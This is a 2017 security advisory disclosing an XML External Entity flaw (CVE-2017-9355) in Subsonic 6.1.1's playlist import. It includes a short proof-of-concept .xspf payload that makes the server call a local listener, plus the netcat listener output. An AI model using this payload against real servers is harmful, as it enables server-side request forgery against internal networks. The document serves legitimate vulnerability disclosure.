[+] Credits: John Page a.k.a hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/SUBSONIC-XML-EXTERNAL-ENITITY.txt [+] ISR: ApparitionSec Vendor: ================ www.subsonic.org Product: =============== subsonic v6.1.1 Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection. Vulnerability Type: ==================== XML External Entity CVE Reference: ============== CVE-2017-9355 Security Issue: ================ subsonic import playlist feature is succeptible to XML External Entity attack. To exploit a User must be tricked to import a malicious .XSPF playlist file. The XXE injection can be used to target various hosts from the internal network to bypass Firewall or from the internet as XML External Entity is related to Server Side Request Forgery (SSRF) attacks. Exploit/POC: ============= 1) Create some playlist file "RainbowsNUnic0rns.xspf" <?xml version="1.0"?> <!DOCTYPE mmmmmRaisins [ <!ENTITY % mmmm SYSTEM "http://127.0.0.1:1337/"> %mmmm;]> 2) Import as playlist. 3) Start listener. nc.exe -llvp 1337 listening on [any] 1337 ... connect to [127.0.0.1] from USER-PC [127.0.0.1] 64428 GET / HTTP/1.1 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_45 Host: 127.0.0.1:1337 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ================================== Vendor Notification: May 29, 2017 Vendor Acknowledgement: May 30, 2017 June 4, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx